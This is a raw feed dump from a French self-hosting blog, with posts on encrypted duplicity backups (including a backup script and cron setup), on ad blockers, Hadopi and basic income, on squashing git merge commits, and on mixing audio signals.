# duplicity
printf '## Backup using duplicity...\n'
unset mode
[ "$1" = full ] && mode=full && printf '(force full backup)\n'
mkdir -p "$BACKUP_DIR"
export PASSPHRASE
duplicity $mode / file://"$BACKUP_DIR"/ \
  --include-globbing-filelist <(echo "$FILELIST") --exclude '**'

printf '## Delete old backups\n'
duplicity remove-older-than 2M file://"$BACKUP_DIR"/ --force

# backups are encrypted, we can make them accessible
chmod +r "$BACKUP_DIR"/*.gpg

# remove temp files
rm "$TMP_DBDIR"/*.sql

Une fois configuré, ne pas oublier de tester : exécuter le script et restaurer les données dans un répertoire de test, puis vérifier que tout est OK. Cette vérification doit être effectuée de temps en temps : il serait dommage de s’apercevoir, lorsqu’on en a besoin, que les backups sont inutilisables ou qu’un répertoire important a été oublié.

Cron

Pour démarrer automatiquement une sauvegarde complète le premier jour du mois et une incrémentale tous les autres jours, cron est notre ami :

sudo crontab -e

Ajouter les lignes :

0 1 1    * * /usr/local/bin/backup full
0 1 2-31 * * /usr/local/bin/backup

La première colonne correspond aux minutes, la deuxième aux heures : le script sera donc exécuté à 1h du matin. La 3e correspond au numéro du jour dans le mois. Les deux suivantes sont le numéro du mois dans l’année et le jour de la semaine.

Il peut être préférable d’exécuter le script en priorité basse :

0 1 1    * * nice -15 ionice -c2 /usr/local/bin/backup full
0 1 2-31 * * nice -15 ionice -c2 /usr/local/bin/backup

Copies

Il ne reste plus qu’à effectuer des copies des fichiers de backups ailleurs.

À partir d’une autre machine, le plus simple est d’utiliser rsync (sans l’option --delete !) :

rsync -rvP --partial-dir=/my/local/tmpbackup --ignore-existing --stats -h server:/var/backups/duplicity/ /my/local/backup/

--ignore-existing évite de récupérer des modifications malicieuses des backups sur le serveur (ils ne sont pas censés être modifiés). Du coup, il faut aussi faire attention à sauvegarder les transferts partiels ailleurs (--partial-dir), sans quoi ils ne se termineront jamais.

Pour supprimer les anciens backups sur cette machine, c’est la même commande que sur le serveur :

duplicity remove-older-than 2M file:///my/local/backup/ --force

Conclusion

La génération de sauvegardes à la fois incrémentales et chiffrées, y compris pour les bases de données, font de duplicity une solution de backup idéale pour l’auto-hébergement.

Je l’utilise depuis plusieurs mois, et j’en suis très satisfait (même si je n’ai pas encore eu besoin de restaurer les backups en situation réelle).

À vos backups !

";s:7:"dateiso";s:15:"20130814_165942";}s:15:"20130814_145942";a:7:{s:5:"title";s:48:"Duplicity : des backups incrémentaux chiffrés";s:4:"link";s:73:"http://blog.rom1v.com/2013/08/duplicity-des-backups-incrementaux-chiffres";s:4:"guid";s:73:"http://blog.rom1v.com/2013/08/duplicity-des-backups-incrementaux-chiffres";s:7:"pubDate";s:25:"2013-08-14T14:59:42+02:00";s:11:"description";s:0:"";s:7:"content";s:15529:"

Quiconque s’auto-héberge doit maintenir un système de sauvegarde de son serveur, permettant de tout remettre en place dans le cas d’un crash de disque dur, d’un piratage ou d’un cambriolage.

Objectifs

Il est nécessaire de sauvegarder à la fois des fichiers (les mails, les services hébergés, les fichiers de config…) et le contenu de bases de données (associées aux services hébergés).

Le système de sauvegarde doit conserver les archives durant un certain temps (par exemple 2 mois). En effet, un piratage ou une erreur de manipulation peuvent n’être détectés que quelques jours plus tard : il est important de pouvoir restaurer un état antérieur.

La sauvegarde doit être régulière (par exemple quotidienne).

Seule une infime partie des données étant modifiées d’un jour à l’autre, la sauvegarde a tout intérêt à être incrémentale.

Pour résister aux cambriolages, une sauvegarde doit être réalisée sur (au moins) une machine distante. Il est donc préférable que ces données soient chiffrées.

Duplicity

Vous l’aurez compris, duplicity répond à tous ces besoins.

Je ne vais pas expliquer tout ce qu’il sait faire, mais plutôt comment je l’utilise et pourquoi.

Mes choix d’utilisation

Sauvegarde locale

Personnellement, je n’effectue qu’une sauvegarde locale dans une tâche cron, c’est-à-dire que les fichiers de backups sont stockés sur le serveur lui-même.

En effet, une sauvegarde automatique vers un serveur distant, par SSH par exemple, nécessiterait une clé privée en clair sur le serveur. Cette configuration ne résisterait pas à certains piratages : une intrusion sur le serveur donnerait également accès aux sauvegardes, permettant à un pirate d’effacer à la fois les données et les backups.

C’est donc une autre machine, à l’initiative de la connexion, qui rapatrie les backups. Évidemment, elle ne doit pas synchroniser localement les backups supprimés du serveur (elle serait vulnérable à la suppression des backups par un pirate), mais doit plutôt supprimer les anciennes sauvegardes de sa propre initiative.

Chiffrement

Duplicity utilise GPG pour le chiffrement, permettant :

Le premier choix nécessite à la fois quelque chose que je possède (la clé, de forte entropie) et quelque chose que je connais (la passphrase, de plus faible entropie). Le second ne nécessite que la passphrase à retenir.

L’utilisation d’une clé privée autorise donc une meilleure sécurité, notamment si vous souhaitez envoyer vos backups sur un serveur américain.

Néanmoins, les backups sont surtout utiles lors de la perte de données, notamment dans le cas d’un cambriolage, où la clé GPG a potentiellement également disparu. Et les sauvegardes distantes ne seront d’aucune utilité sans la clé…

Il peut donc être moins risqué d’opter, comme je l’ai fait, pour une simple passphrase.

À vous de placer le curseur entre la protection de vos données et le risque de ne plus pouvoir les récupérer.

Installation

Sur une Debian :

sudo apt-get install duplicity

Fonctionnement

Duplicity effectue des sauvegardes complètes et incrémentales. Les sauvegardes incrémentales nécessitent toutes les sauvegardes depuis la dernière complète pour être restaurées.

Personnellement, j’effectue une sauvegarde complète tous les mois, et une incrémentale tous les jours.

Pour choisir le mode :

Exemple (à exécuter en root pour avoir accès à tous les fichiers) :

duplicity / file:///var/backups/duplicity/ \
    --include-globbing-filelist filelist.txt \
    --exclude '**'

Duplicity va sauvegarder à partir de la racine (/) tous les fichiers selon les règles d’inclusion et d’exclusion définies dans filelist.txt. Ce fichier contient simplement la liste des fichiers et répertoires à sauvegarder, ainsi que ceux à exclure. Par exemple :

/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/

Attention : les fichiers et répertoires à exclure doivent apparaître avant l’inclusion d’un répertoire parent. En effet, duplicity s’arrête à la première règle qui matche un chemin donné pour déterminer s’il doit l’inclure ou l’exclure.

Pour restaurer :

duplicity restore file:///var/backups/duplicity/ /any/directory/

(utiliser l’option -t pour restaurer à une date particulière)

Pour supprimer les anciennes sauvegardes (ici de plus de 2 mois) :

duplicity remove-older-than 2M file:///var/backups/duplicity/ --force

Bases de données

Tout comme pour les fichiers, il est préférable de sauvegarder incrémentalement les bases de données (seule une toute petite partie des données change d’un jour à l’autre).

Une première solution serait d’utiliser la fonctionnalité-qui-va-bien de votre SGBD.

Mais si le contenu de vos bases de données ne dépasse pas quelques Go (ce qui est très probable pour de l’auto-hébergement), duplicity permet de faire beaucoup plus simple.

Il suffit en effet de générer un dump complet des bases de données vers des fichiers .sql et d’inclure leur chemin dans la liste des fichiers à sauvegarder. Et là, c’est magique, duplicity va ne sauvegarder que les parties de ces (gros) fichiers qui ont changées, grâce à rsync et à son algorithme qui utilise des rolling checksums.

Bien sûr, il ne faut pas compresser ces fichiers avant de les donner à manger à duplicity (sinon l’intégralité du fichier risque de changer) ; c’est lui qui va s’en charger. De même, il vaut mieux éviter d’inclure dans les fichies SQL des informations liées au dump, comme sa date de génération.

Pour exporter une base de données MySQL par exemple :

mysql -uroot -ppassword --skip-comments -ql my_database > my_database.sql

Script

Il reste donc à écrire un script qui exporte les bases de données et qui appelle duplicity avec la liste de ce qu’il y a à sauvegarder.

Voici un prototype, à sauvegarder dans /usr/local/bin/backup :

#!/bin/bash
BACKUP_HOME=/var/backups
TMP_DBDIR="$BACKUP_HOME/dbdump"
BACKUP_DIR="$BACKUP_HOME/duplicity"
MYSQLPW=mon_password_mysql
PASSPHRASE=ma_passphrase_de_chiffrement_des_backups
DATABASES='blog autre_base'
FILELIST="/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/
$TMP_DBDIR/"

# databases
mkdir -p "$TMP_DBDIR"
for dbname in $DATABASES
do
  printf "## Dump database $dbname...\n"
  mysqldump -uroot -p"$MYSQLPW" --skip-comments -ql "$dbname" \
    > "$TMP_DBDIR/$dbname.sql"
done

# duplicity
printf '## Backup using duplicity...\n'
unset mode
[ "$1" = full ] && mode=full && printf '(force full backup)\n'
mkdir -p "$BACKUP_DIR"
export PASSPHRASE
duplicity $mode / file://"$BACKUP_DIR"/ \
  --include-globbing-filelist <(echo "$FILELIST") --exclude '**'

printf '## Delete old backups\n'
duplicity remove-older-than 2M file://"$BACKUP_DIR"/ --force

# backups are encrypted, we can make them accessible
chmod +r "$BACKUP_DIR"/*.gpg

# remove temp files
rm "$TMP_DBDIR"/*.sql

Une fois configuré, ne pas oublier de tester : exécuter le script et restaurer les données dans un répertoire de test, puis vérifier que tout est OK. Cette vérification doit être effectuée de temps en temps : il serait dommage de s’apercevoir, lorsqu’on en a besoin, que les backups sont inutilisables ou qu’un répertoire important a été oublié.

Cron

Pour démarrer automatiquement une sauvegarde complète le premier jour du mois et une incrémentale tous les autres jours, cron est notre ami :

sudo crontab -e

Ajouter les lignes :

0 1 1    * * /usr/local/bin/backup full
0 1 2-31 * * /usr/local/bin/backup

La première colonne correspond aux minutes, la deuxième aux heures : le script sera donc exécuté à 1h du matin. La 3e correspond au numéro du jour dans le mois. Les deux suivantes sont le numéro du mois dans l’année et le jour de la semaine.

Il peut être préférable d’exécuter le script en priorité basse :

0 1 1    * * nice -15 ionice -c2 /usr/local/bin/backup full
0 1 2-31 * * nice -15 ionice -c2 /usr/local/bin/backup

Copies

Il ne reste plus qu’à effectuer des copies des fichiers de backups ailleurs.

À partir d’une autre machine, le plus simple est d’utiliser rsync (sans l’option --delete !) :

rsync -rvP --partial-dir=/my/local/tmpbackup --ignore-existing --stats \
    -h server:/var/backups/duplicity/ /my/local/backup/

--ignore-existing évite de récupérer des modifications malicieuses des backups sur le serveur (ils ne sont pas censés être modifiés). Du coup, il faut aussi faire attention à sauvegarder les transferts partiels ailleurs (--partial-dir), sans quoi ils ne se termineront jamais.

Pour supprimer les anciens backups sur cette machine, c’est la même commande que sur le serveur :

duplicity remove-older-than 2M file:///my/local/backup/ --force

Conclusion

La génération de sauvegardes à la fois incrémentales et chiffrées, y compris pour les bases de données, font de duplicity une solution de backup idéale pour l’auto-hébergement.

Je l’utilise depuis plusieurs mois, et j’en suis très satisfait (même si je n’ai pas encore eu besoin de restaurer les backups en situation réelle).

À vos backups !

";s:7:"dateiso";s:15:"20130814_145942";}s:15:"20130613_174738";a:7:{s:5:"title";s:38:"Anti-AdBlock et Hadopi, même combat ?";s:4:"link";s:65:"http://blog.rom1v.com/2013/06/anti-adblock-et-hadopi-meme-combat/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4534";s:7:"pubDate";s:31:"Thu, 13 Jun 2013 15:47:38 +0000";s:11:"description";s:384:"La presse s’inquiète de plus en plus de l’impact des bloqueurs de publicités sur leurs sources de revenus et condamne, plus ou moins ouvertement, leur utilisation par les internautes. Le débat se polarise alors entre : ceux qui considèrent qu’ils n’ont pas à se voir imposer des publicités, et qui donc les bloquent ; ceux qui pensent […]";s:7:"content";s:7332:"

abp

La presse s’inquiète de plus en plus de l’impact des bloqueurs de publicités sur leurs sources de revenus et condamne, plus ou moins ouvertement, leur utilisation par les internautes.

Le débat se polarise alors entre :

La seconde catégorie avance un argument simple et de bon sens : le contenu produit nécessite du travail, et leurs auteurs ont évidemment besoin de se loger, de se nourrir, et bien d’autres choses encore… Ce qui implique, dans notre société, d’avoir de l’argent. Ce que rapporte un peu la publicité.

Les autres sont des pirates sans conscience désirant tout gratuitement, à qui il faut expliquer qu’une attitude responsable consiste à ne pas bloquer les publicités. À moins que…

Hadopi

Des auteurs qui proposent du « contenu » difficilement vendable à un public qui y accède sans le payer, ça ne vous rappelle rien ?

L’un des fondements de l’idéologie répressive d’Hadopi est qu’il faut éduquer et contraindre les utilisateurs, sans quoi les « créateurs » ne pourront plus « vivre de leur travail », et donc ne pourront plus « créer ».

Faut-il établir un cadre psychologique incitant à accepter l’intrusion de publicités afin que les journalistes puissent « gagner leur vie » ?

De la même manière qu’il faut dépasser l’opposition entre le partage de la culture et son financement par la vente de copies, je pense qu’il faut dépasser celle entre la liberté de (non) réception (appliquée au web) et le financement par la publicité.

Les discussions portant sur la négociation d’un compromis entre les deux positions, comme l’acceptation de publicités moins intrusives, paraissent vaines.

Valeur et financement

Ne pas pouvoir vendre un contenu ne signifie pas qu’il n’a pas de valeur : un article rendu accessible à tous n’a pas moins de valeur que le même article restreint par un accès payant.

Par contre, y ajouter de la publicité diminue la valeur que leur attribuent les lecteurs, mais aussi les auteurs eux-mêmes : tous préféreraient ne pas la subir. La publicité agit donc comme un parasite.

Et pour les journalistes, ce parasite engendre une dépendance financière pouvant influencer le fond du discours. D’une manière générale, les sources de financement ont souvent tendance à réduire l’indépendance, pierre angulaire du journalisme.

C’est la raison pour laquelle certains essaient de ne dépendre que de leurs lecteurs. Mais, pour la plupart d’entre eux (pas tous), cela signifie limiter le contenu aux seuls abonnés. En effet, si tout est déjà accessible, pourquoi payer ?

Cependant, en pratique, seuls quelques gros sites peuvent se permettre cette restriction (les internautes ne vont pas s’abonner aux milliers de sites qu’ils visitent). Et au fond, est-ce bien le web que nous voulons, cloisonné par des barrières à péages ?

Du côté des lecteurs, la publicité ralentit la navigation, impose une pollution visuelle et collecte certaines données personnelles ; pas étonnant qu’ils cherchent à s’en prémunir !

Monnaie, revenu et travail

Dans le monde de la rareté, l’échange monétaire provient de la rencontre de l’offre et de la demande. Dans le monde de l’immatériel, l’offre et la demande se rencontrent déjà parfaitement sans monnaie, qui ne joue alors plus le rôle de facilitateur d’échange, mais au contraire d’obstacle : il est nécessaire de restreindre ou dégrader le résultat du travail pour pouvoir « gagner sa vie ».

Le métier de certains journalistes, dont personne ne conteste l’utilité, est menacé, car nous avons intégré le fait que le revenu devait provenir exclusivement du travail. Mais si ce travail ne génère pas d’argent, doit-il disparaître ?

La publicité est omniprésente car il faut absolument gagner de l’argent autrement, l’information en elle-même n’en rapportant pas. Pourtant, les internautes vont bien sur les sites de presse pour l’information, pas pour la publicité !

Revenu de base

Et si une partie du revenu était indépendante du travail ? Dissocier le revenu et l’emploi n’améliorerait-il pas la situation, pour tout le monde et en particulier pour les journalistes ?

Le revenu de base augmente la possibilité d’activités non rentables, sans ajouter de dépendances (car inconditionnel).

La rentabilité ayant tendance à entraver et dénaturer le journalisme, ne devrions-nous envisager sérieusement cette proposition dans les débats sur le financement de la presse, et plus généralement sur les productions potentiellement non-marchandes ?

Le revenu de base n’interdirait bien sûr pas les autres sources de financement : il s’y ajouterait. Simplement, il augmenterait la capacité à refuser des financements contraignants, tels que ceux provenant de la publicité…

";s:7:"dateiso";s:15:"20130613_174738";}s:15:"20130613_154738";a:7:{s:5:"title";s:39:"Anti-AdBlock et Hadopi, même combat ?";s:4:"link";s:64:"http://blog.rom1v.com/2013/06/anti-adblock-et-hadopi-meme-combat";s:4:"guid";s:64:"http://blog.rom1v.com/2013/06/anti-adblock-et-hadopi-meme-combat";s:7:"pubDate";s:25:"2013-06-13T15:47:38+02:00";s:11:"description";s:0:"";s:7:"content";s:6703:"

La presse s’inquiète de plus en plus de l’impact des bloqueurs de publicités sur leurs sources de revenus et condamne, plus ou moins ouvertement, leur utilisation par les internautes.

Le débat se polarise alors entre :

La seconde catégorie avance un argument simple et de bon sens : le contenu produit nécessite du travail, et leurs auteurs ont évidemment besoin de se loger, de se nourrir, et bien d’autres choses encore… Ce qui implique, dans notre société, d’avoir de l’argent. Ce que rapporte un peu la publicité.

Les autres sont des pirates sans conscience désirant tout gratuitement, à qui il faut expliquer qu’une attitude responsable consiste à ne pas bloquer les publicités. À moins que…

Hadopi

Des auteurs qui proposent du “contenu” difficilement vendable à un public qui y accède sans le payer, ça ne vous rappelle rien ?

L’un des fondements de l’idéologie répressive d’Hadopi est qu’il faut éduquer et contraindre les utilisateurs, sans quoi les “créateurs” ne pourront plus “vivre de leur travail”, et donc ne pourront plus “créer”.

Faut-il établir un cadre psychologique incitant à accepter l’intrusion de publicités afin que les journalistes puissent “gagner leur vie” ?

De la même manière qu’il faut dépasser l’opposition entre le partage de la culture et son financement par la vente de copies, je pense qu’il faut dépasser celle entre la liberté de (non) réception (appliquée au web) et le financement par la publicité.

Les discussions portant sur la négociation d’un compromis entre les deux positions, comme l’acceptation de publicités moins intrusives, paraissent vaines.

Valeur et financement

Ne pas pouvoir vendre un contenu ne signifie pas qu’il n’a pas de valeur : un article rendu accessible à tous n’a pas moins de valeur que le même article restreint par un accès payant.

Par contre, y ajouter de la publicité diminue la valeur que leur attribuent les lecteurs, mais aussi les auteurs eux-mêmes : tous préféreraient ne pas la subir. La publicité agit donc comme un parasite.

Et pour les journalistes, ce parasite engendre une dépendance financière pouvant influencer le fond du discours. D’une manière générale, les sources de financement ont souvent tendance à réduire l’indépendance, pierre angulaire du journalisme.

C’est la raison pour laquelle certains essaient de ne dépendre que de leurs lecteurs. Mais, pour la plupart d’entre eux (pas tous), cela signifie limiter le contenu aux seuls abonnés. En effet, si tout est déjà accessible, pourquoi payer ?

Cependant, en pratique, seuls quelques gros sites peuvent se permettre cette restriction (les internautes ne vont pas s’abonner aux milliers de sites qu’ils visitent). Et au fond, est-ce bien le web que nous voulons, cloisonné par des barrières à péages ?

Du côté des lecteurs, la publicité ralentit la navigation, impose une pollution visuelle et collecte certaines données personnelles ; pas étonnant qu’ils cherchent à s’en prémunir !

Monnaie, revenu et travail

Dans le monde de la rareté, l’échange monétaire provient de la rencontre de l’offre et de la demande. Dans le monde de l’immatériel, l’offre et la demande se rencontrent déjà parfaitement sans monnaie, qui ne joue alors plus le rôle de facilitateur d’échange, mais au contraire d’obstacle : il est nécessaire de restreindre ou dégrader le résultat du travail pour pouvoir “gagner sa vie”.

Le métier de certains journalistes, dont personne ne conteste l’utilité, est menacé, car nous avons intégré le fait que le revenu devait provenir exclusivement du travail. Mais si ce travail ne génère pas d’argent, doit-il disparaître ?

La publicité est omniprésente car il faut absolument gagner de l’argent autrement, l’information en elle-même n’en rapportant pas. Pourtant, les internautes vont bien sur les sites de presse pour l’information, pas pour la publicité !

Revenu de base

Et si une partie du revenu était indépendante du travail ? Dissocier le revenu et l’emploi n’améliorerait-il pas la situation, pour tout le monde et en particulier pour les journalistes ?

Le revenu de base augmente la possibilité d’activités non rentables, sans ajouter de dépendances (car inconditionnel).

La rentabilité ayant tendance à entraver et dénaturer le journalisme, ne devrions-nous envisager sérieusement cette proposition dans les débats sur le financement de la presse, et plus généralement sur les productions potentiellement non-marchandes ?

Le revenu de base n’interdirait bien sûr pas les autres sources de financement : il s’y ajouterait. Simplement, il augmenterait la capacité à refuser des financements contraignants, tels que ceux provenant de la publicité…

";s:7:"dateiso";s:15:"20130613_154738";}s:15:"20130530_174050";a:7:{s:5:"title";s:25:"GIT : squasher des merges";s:4:"link";s:54:"http://blog.rom1v.com/2013/05/git-squasher-des-merges/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4507";s:7:"pubDate";s:31:"Thu, 30 May 2013 15:40:50 +0000";s:11:"description";s:320:"Supposons que je souhaite ajouter une fonctionnalité à un projet sur GIT. Je prends la version actuelle de la branche master (A), puis ajoute sur ma branche topic les commits X et Y. X---Y topic / --A master Je propose la fonctionnalité upstream (par un git request-pull ou une pull request), qui met un peu […]";s:7:"content";s:7041:"

gitmerge

Supposons que je souhaite ajouter une fonctionnalité à un projet sur GIT.

Je prends la version actuelle de la branche master (A), puis ajoute sur ma branche topic les commits X et Y.

    X---Y  topic
   /
--A  master

Je propose la fonctionnalité upstream (par un git request-pull ou une pull request), qui met un peu de temps à être revue.

Pendant ce temps, la branche master a avancé, et malheureusement les modifications effectuées entrent en conflit avec mon travail sur topic.

    X---Y  topic
   /
--A---B---C  master

Une fois mon code revu et accepté, les mainteneurs vont alors me demander de résoudre les conflits avec la branche master avant de merger ma branche topic.

Si j’avais eu à prendre en compte les mises à jour de master avant d’avoir rendu public mon topic, j’aurais simplement rebasé mon travail par-dessus master. Mais là, impossible.

Je dois donc merger. Très bien. Je merge et je résous les conflits.

    X---Y---M  topic
   /       /
--A---B---C  master

Mais, alors que je n’ai pas encore rendu M public, je m’aperçois qu’il y a un nouveau commit D sur master, que je veux intégrer dans topic.

    X---Y---M  topic
   /       /
--A---B---C---D  master

La solution la plus évidente est de merger à nouveau.

    X---Y---M---N  topic
   /       /   /
--A---B---C---D  master

Mais je voudrais éviter un commit de merge inutile. Pour un seul, ce n’est pas très gênant, mais si on maintient une branche suffisamment longtemps avant qu’elle ne soit mergée, ces commits inutiles vont se multiplier.

Une solution serait de revenir à Y et de le merger avec D :

git checkout topic
git reset --hard Y
git merge master
    X---Y---M'  topic
   /         \
--A---B---C---D  master

Mais dans ce cas, pour créer M', je vais devoir résoudre à nouveau les conflits que j’avais déjà résolu en créant M.

Comment éviter ce problème ?

rerere

Une solution est d’avoir activé rerere avant d’avoir résolu les conflits de M :

git config rerere.enabled true

Ainsi, lorsque je tenterai de merger à nouveau Y et D, les conflits entre Y et C seront automatiquement résolus de la même manière que précédemment.

Cependant, cette méthode a ses inconvénients.

Tout d’abord, il ne s’agit que d’un cache local de résolutions des conflits, stocké pendant une durée déterminée (par défaut à 60 jours pour les conflits résolus), ce qui est peu pratique si on clone son dépôt sur plusieurs machines (les conflits ne seront résolus automatiquement que sur certaines).

Ensuite, elle est inutilisable lorsqu’on souhaite squasher un merge conflictuel alors que rerere était désactivé lors de sa création.

Enfin, cette fonctionnalité est encore récente, et la fonction git rerere forget (pour permettre de résoudre autrement des conflits déjà résolus), a la fâcheuse tendance à segfaulter (un patch a été proposé).

Rebranchement

La solution que j’utilise est donc la suivante.

    X---Y---M---N  topic
   /       /   /
--A---B---C---D  master

Une fois obtenus les deux merges M et N, le principe est de remplacer le parent de N, qui était M, par Y, sans rien changer d’autre au contenu.

          -----
         /     \
    X---Y---M   N' topic
   /       /   /
--A---B---C---D  master

Ainsi, M devient inatteignable, et c’est exactement le résultat souhaité :

    X---Y-------N' topic
   /           /
--A---B---C---D  master

Pour faire cela, il faut déplacer le HEAD (pointant vers topic) sur Y, faire croire à GIT qu’on est en phase de merge avec D en modifiant la référence MERGE_HEAD, puis commiter :

git checkout N
git reset --soft Y
git update-ref MERGE_HEAD D
git commit -eF <(git log ..N ^D --pretty='# %H%n%s%n%n%b')

Il n’y a plus qu’à éditer le message de commit de merge.

La fin de la ligne du git commit permet de concaténer l’historique des commits intermédiaires (a priori uniquement des merges) comme lors d’un squash avec git rebase (pour pouvoir conserver les messages de merges intermédiaires, contenant nontamment les conflits).

En utilisant les références plutôt que les numéros de commit, cela donne :

git checkout feature
git reset --soft HEAD~2
git update-ref MERGE_HEAD master
git commit -eF <(git log ..HEAD@{1} ^master --pretty='# %H%n%s%n%n%b')

Si vous avez plus simple, je suis preneur…

Merci aux membres de stackoverflow.

";s:7:"dateiso";s:15:"20130530_174050";}s:15:"20130530_154050";a:7:{s:5:"title";s:26:"GIT : squasher des merges";s:4:"link";s:53:"http://blog.rom1v.com/2013/05/git-squasher-des-merges";s:4:"guid";s:53:"http://blog.rom1v.com/2013/05/git-squasher-des-merges";s:7:"pubDate";s:25:"2013-05-30T15:40:50+02:00";s:11:"description";s:0:"";s:7:"content";s:6746:"

gitmerge

Supposons que je souhaite ajouter une fonctionnalité à un projet sur GIT.

Je prends la version actuelle de la branche master (A), puis ajoute sur ma branche topic les commits X et Y.

    X---Y  topic
   /
--A  master

Je propose la fonctionnalité upstream (par un git request-pull ou une pull request), qui met un peu de temps à être revue.

Pendant ce temps, la branche master a avancé, et malheureusement les modifications effectuées entrent en conflit avec mon travail sur topic.

    X---Y  topic
   /
--A---B---C  master

Une fois mon code revu et accepté, les mainteneurs vont alors me demander de résoudre les conflits avec la branche master avant de merger ma branche topic.

Si j’avais eu à prendre en compte les mises à jour de master avant d’avoir rendu public mon topic, j’aurais simplement rebasé mon travail par-dessus master. Mais là, impossible.

Je dois donc merger. Très bien. Je merge et je résous les conflits.

    X---Y---M  topic
   /       /
--A---B---C  master

Mais, alors que je n’ai pas encore rendu M public, je m’aperçois qu’il y a un nouveau commit D sur master, que je veux intégrer dans topic.

    X---Y---M  topic
   /       /
--A---B---C---D  master

La solution la plus évidente est de merger à nouveau.

    X---Y---M---N  topic
   /       /   /
--A---B---C---D  master

Mais je voudrais éviter un commit de merge inutile. Pour un seul, ce n’est pas très gênant, mais si on maintient une branche suffisamment longtemps avant qu’elle ne soit mergée, ces commits inutiles vont se multiplier.

Une solution serait de revenir à Y et de le merger avec D :

git checkout topic
git reset --hard Y
git merge master

Ce qui donne :

    X---Y---M'  topic
   /         \
--A---B---C---D  master

Mais dans ce cas, pour créer M', je vais devoir résoudre à nouveau les conflits que j’avais déjà résolu en créant M.

Comment éviter ce problème ?

rerere

Une solution est d’avoir activé rerere avant d’avoir résolu les conflits de M :

git config rerere.enabled true

Ainsi, lorsque je tenterai de merger à nouveau Y et D, les conflits entre Y et C seront automatiquement résolus de la même manière que précédemment.

Cependant, cette méthode a ses inconvénients.

Tout d’abord, il ne s’agit que d’un cache local de résolutions des conflits, stocké pendant une durée déterminée (par défaut à 60 jours pour les conflits résolus), ce qui est peu pratique si on clone son dépôt sur plusieurs machines (les conflits ne seront résolus automatiquement que sur certaines).

Ensuite, elle est inutilisable lorsqu’on souhaite squasher un merge conflictuel alors que rerere était désactivé lors de sa création.

Enfin, cette fonctionnalité est encore récente, et la fonction git rerere forget (pour permettre de résoudre autrement des conflits déjà résolus), a la fâcheuse tendance à segfaulter (un patch a été proposé).

Rebranchement

La solution que j’utilise est donc la suivante.

    X---Y---M---N  topic
   /       /   /
--A---B---C---D  master

Une fois obtenus les deux merges M et N, le principe est de remplacer le parent de N, qui était M, par Y, sans rien changer d’autre au contenu.

          -----
         /     \
    X---Y---M   N' topic
   /       /   /
--A---B---C---D  master

Ainsi, M devient inatteignable, et c’est exactement le résultat souhaité :

    X---Y-------N' topic
   /           /
--A---B---C---D  master

Pour faire cela, il faut déplacer le HEAD (pointant vers topic) sur Y, faire croire à GIT qu’on est en phase de merge avec D en modifiant la référence MERGE_HEAD, puis commiter :

git checkout N
git reset --soft Y
git update-ref MERGE_HEAD D
git commit -eF <(git log ..HEAD@{1} ^master --pretty='# %H%n%s%n%n%b')

Il n’y a plus qu’à éditer le message de commit de merge.

La fin de la ligne du git commit permet de concaténer l’historique des commits intermédiaires (a priori uniquement des merges) comme lors d’un squash avec git rebase (pour pouvoir conserver les messages de merges intermédiaires, contenant nontamment les conflits).

En utilisant les références plutôt que les numéros de commit, cela donne :

git checkout feature
git reset --soft HEAD~2
git update-ref MERGE_HEAD master
git commit -eF <(git log ..HEAD@{1} ^master --pretty='# %H%n%s%n%n%b')

Si vous avez plus simple, je suis preneur…

Merci aux membres de stackoverflow.

";s:7:"dateiso";s:15:"20130530_154050";}s:15:"20130129_151545";a:7:{s:5:"title";s:15:"Le mixage audio";s:4:"link";s:46:"http://blog.rom1v.com/2013/01/le-mixage-audio/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4358";s:7:"pubDate";s:31:"Tue, 29 Jan 2013 14:15:45 +0000";s:11:"description";s:405:"Que se passe-t-il lorsque nous percevons le son provenant de plusieurs sources audio simultanément, par exemple lorsque plusieurs personnes parlent en même temps ? Dans la réalité, ce que nous entendons est la somme de chacun des signaux. Mais si nous voulons mélanger plusieurs pistes audio numériques, nous rencontrons un problème : chaque échantillon d’un signal audio […]";s:7:"content";s:22968:"

Que se passe-t-il lorsque nous percevons le son provenant de plusieurs sources audio simultanément, par exemple lorsque plusieurs personnes parlent en même temps ?

Dans la réalité, ce que nous entendons est la somme de chacun des signaux.

Mais si nous voulons mélanger plusieurs pistes audio numériques, nous rencontrons un problème : chaque échantillon d’un signal audio est compris entre une valeur min et une valeur max, disons entre -1 et 1. Pour les mixer, nous ne pouvons donc pas sommer plusieurs signaux comme dans la réalité : le signal résultant doit aussi être compris entre -1 et 1. Comment faire alors ?

En théorie

Les graphes présentés dans les sections suivantes ont été créés avec gnuplot, et les définitions de fonctions sont écrites dans la syntaxe correspondante. Les sources (.gnu) sont disponibles pour chacun des graphes, vous permettant de les manipuler en 3D.

Somme tronquée

La première idée est de sommer les signaux en tronquant le résultat dans l’intervalle [-1; 1]. Pour le mixage de deux sources audio x et y :

mix_sum(x, y) = min(1, max(-1, x + y))

Le résultat sera parfait lorsque |x + y| <= 1. Par contre, dans le reste des cas, nous obtenons du clipping, désagréable à l’oreille.

Visualisons cette fonction :

mix_sum

Les axes horizontaux correspondent à un échantillon de chacune des deux sources audio ; l’axe vertical représente la valeur résultant de la combinaison des deux en utilisant la somme tronquée.

Le clipping correspond aux deux paliers horizontaux du haut et du bas.

Moyenne

Pour éviter tout clipping, il suffirait de moyenner les deux sources audio :

mix_mean(x, y) = (x + y) / 2;

mix_mean

Effectivement, ça fonctionne bien. Mais ce n’est pas forcément le meilleur choix.

Le son résultant va toujours être plus faible que le plus fort des deux sources, et souvent de manière significative. En particulier, si nous mélangeons une source audio quelconque avec un silence, l’amplitude va être divisée par deux.

De plus, la définition va également être divisée par deux : si l’amplitude est codée sur 8 bits, elle peut prendre 256 valeurs. En divisant les signaux par deux, chaque signal aura une définition de 7 bits (128 valeurs).

Ces inconvénients s’agravent lorsqu’il y a plus de deux sources à mélanger.

k × somme

Nous pouvons alors chercher un compromis entre conserver l’amplitude et éviter le clipping. En fait, les fonctions de somme tronquée et de moyenne ne sont que deux cas particuliers de cette fonction :

mix_ksum(k, x, y) = min(1, max(-1, k * (x + y)))

En effet :

mix_sum(x, y) = mix_ksum(1, x, y)
mix_mean(x, y) = mix_ksum(0.5, x, y)

